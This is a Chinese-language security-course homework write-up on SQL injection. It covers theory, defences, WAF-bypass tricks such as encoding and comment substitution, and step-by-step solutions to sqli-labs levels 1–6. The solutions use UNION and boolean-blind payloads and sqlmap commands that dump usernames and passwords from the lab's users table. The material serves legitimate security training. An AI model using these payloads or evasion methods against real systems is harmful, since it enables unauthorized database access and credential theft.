目录:
作业一、SQL注入基础
1.SQL注入原理
SQL注入是一种常见的Web应用程序安全漏洞,攻击者通过将恶意的SQL代码插入到应用程序的输入字段中,以此来操纵数据库执行非授权操作。这种攻击可以导致敏感数据泄露、数据被篡改或删除等严重后果。
SQL注入的基本原理包括以下几个步骤:
寻找注入点:攻击者首先需要找到应用程序中的输入验证不严格的入口,比如登录表单、搜索框或其他用户输入的地方。
构造恶意SQL代码:攻击者会尝试输入一些特殊的字符或者SQL命令,目的是让应用程序原本的SQL语句行为改变。例如,可以通过输入 ' OR '1'='1 这样的字符串来绕过登录验证。
执行恶意SQL代码:如果应用程序没有正确地处理和过滤用户输入的数据,那么恶意SQL代码就会被当作正常的数据插入到查询语句中,然后被执行。
获取结果:根据注入的SQL命令,攻击者会获取数据库中的数据,更改数据,进而控制整个数据库服务器。
2.SQL注入常用函数
VERSION() Mysql版本
USER() 数据库用户名
DATABASE() 数据库名
SYSTEM_USER() 数据库用户名
SESSION_USER() 连接数据库的用户名
CURRENT_USER() 当前用户名
UNION SELECT:用于将两个或多个 SELECT 语句的结果合并。攻击者可以用它来从其他表中获取数据。
OR 1=1:用于创建一个始终为真的条件,从而绕过身份验证。
AND 1=1:用于测试是否能修改查询逻辑以返回所有记录。
BENCHMARK():用于测量查询的执行时间,通常用于延时注入攻击(基于时间的盲注)。
SLEEP():用于让数据库查询暂停指定的时间,用于延时注入攻击。
LOAD_FILE():用于读取服务器上的文件内容。攻击者可以利用它读取敏感文件。
SUBSTRING():用于提取字符串的子串,常用于盲注中获取数据。
CONCAT(字符串1, 字符串2...):连接多个字符串为一个字符串。
NVL:如果表达式的值为NULL,则返回替代值;否则返回表达式的值。
SUBSTR(字符串, 开始位置, 长度):从指定位置开始截取指定长度的子串。
3.SQL注入防御手段
权限最小化:应用程序连接数据库的账户应该具有尽可能少的权限,仅能执行完成其任务所需的操作,如只读访问或特定表的写入权限。
遵循安全编码指南和最佳实践:如OWASP(开放Web应用程序安全项目)的指导方针。
代码审查:定期进行代码审查,确保没有硬编码的凭据或不安全的SQL语句。
安全的错误处理:确保应用程序不会向用户提供详细的错误信息,特别是那些包含数据库结构或配置信息的错误信息。
定制错误页面:提供友好的错误页面,而不是显示原始的错误信息。
日志记录:记录应用程序的所有活动,尤其是失败的登录尝试和其他异常行为。
入侵检测系统:部署入侵检测系统来监控数据库和网络流量,以便快速识别和响应可疑活动。
4.SQL注入常用绕过waf手段
编码和混淆
URL编码:将SQL注入代码进行URL编码
双重编码:使用双重或多重编码来混淆攻击载荷
Base64编码:将SQL代码转换为Base64编码格式
HTML实体编码:使用HTML实体编码(如'代替')
字符替换
将特定字符替换为相似但合法的字符或序列,例如使用/**/代替空格,0x0a代替换行符,或者使用%0A(ASCII换行符)来绕过空格检测。
SQL注释
使用SQL注释来隐藏攻击载荷,如--(双破折号注释)或/* */(块注释),这可以用来绕过某些类型的过滤器。
HTTP请求方法变更
如果GET请求容易被检测,尝试使用POST请求,反之亦然。有时候,WAF对不同类型的请求有不同的过滤规则。
HTTP头注入
在HTTP头部(如Cookie、User-Agent等)中插入SQL注入载荷,因为有些WAF主要关注URL和POST数据。
慢速注入
通过缓慢地发送攻击载荷,使得每次只发送一小部分,从而降低被检测的概率。
使用合法字符
有时,WAF会阻止某些已知的SQL关键字或字符,因此攻击者可能会使用同义词或替代语法来达到同样的效果。
多阶段注入
分阶段注入攻击载荷,先注入一部分,待成功后再注入剩余部分。
作业二、sqli-labs前五关
less1
存在注入点判断
1.加上单引号报错
?id=1'
2.加上注释页面正常,说明存在单引号字符型sqL注入
判断字段数
1.使用order by,判断出字段数为3
?id=1' order by 3 --+
payload注入
1.查看表名称
?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+
2.查看列名
?id=-1' UNION SELECT 1,2,group_concat(column_name) FROM information_schema.columns WHERE table_schema ='sqlilabs' AND table_name='users' --+
3.查看字段
?id=-1' UNION SELECT 1,group_concat(username SEPARATOR '-'),group_concat(password SEPARATOR '-') FROM users --+
less2
存在注入点判断
1.加单引号报错
2.输入and1=1正常
3.加and 1=2报错,说明存在注入
判断字段数
1.利用order by
payload注入
1.查询表名
id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema = database()--+
2.查询字段名
?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name = 'users' --+
3.查询数据库数据
?id=-1 union select 1,group_concat(username),group_concat(password) from users --+
less3
注入点判断
1.添加单引号,显示有括号需要闭合,同时说明存在注入
2.添加单引号加括号,并添加and 1=2,发现页面错误
3.添加单引号加括号,并添加and 1=1,发现页面正常
说明除单引号需变形外,其他基本和第二关的形式相同。
判断字段数
1.利用order by
payload注入
?id=-1') union select 1,group_concat(username),group_concat(password) from users --+
less4(基本与第三关相同,将单引号修改为双引号)
注入点判断
1.加双引号,报错,存在注入
2.显示错误
?id=1") and 1=2 --+
3.显示正常
?id=1") and 1=1 --+
判断字段数
1.使用order by
payload注入
相比于第三关,仅需修改闭合方式
?id=-1") union select 1,group_concat(username),group_concat(password) from users--+
less5
注入点判断
1.添加单引号,报错,说明存在注入
2.输入id = 9999,发现页面显示错误
3.可以考虑使用布尔注入,当输入正确时,如下显示
判断字段数
1.利用order by,输入order by 3
2.输入order by 4
payload注入
可以使用布尔判断的方式
1.判断数据库长度,说明数据库长度大于5,等于8
2.确定具体字符(枚举法)
确定第一个字符不是a而是s
?id=1' and left((select database()), 1)='a' --+
依次类推,直到找到全部的数据库字符 security
3.继续使用此方法获取其他信息
作业三、总结sqli的手工注入步骤
1.判断注入类型
- 找到注入点,如url,表单等
- 判断能否注入,尝试输入一些特殊字符或者SQL关键字,如单引号(')、AND、OR等,观察应用程序的响应是否异常,以此判断是否存在SQL注入漏洞。
- 判断注入类型
2.判断字段数
- 通过order by函数确定字段数
3.根据相应的类型选择合适的注入方式
- 选择合适的闭合方式
- 利用相应数据库函数,如select,union等,获取数据库数据
作业四、使用sqlmap通过或验证第六关
1.尝试注入,(获取到数据库类型)
python sqlmap.py -u "http://sqli:88/Less-6/?id=1"
2.尝试获取数据库名称
python sqlmap.py -u "http://sqli:88/Less-6/?id=1" –dbms mysql –level 3 –dbs
3.尝试获取”security“数据库中表的名称
python sqlmap.py -u "http://sqli:88/Less-6/?id=1" –dbms mysql –level 3 –D security –tables
4.尝试获取users表中有哪些字段
python sqlmap.py -u "http://sqli:88/Less-6/?id=1" –dbms mysql –level 3 –D security –T users –columns
5.尝试获取字段中的数据
python sqlmap.py -u "http://sqli:88/Less-6/?id=1" –dbms mysql –level 3 –D security –T users –C "username , password" -dump
注入成功!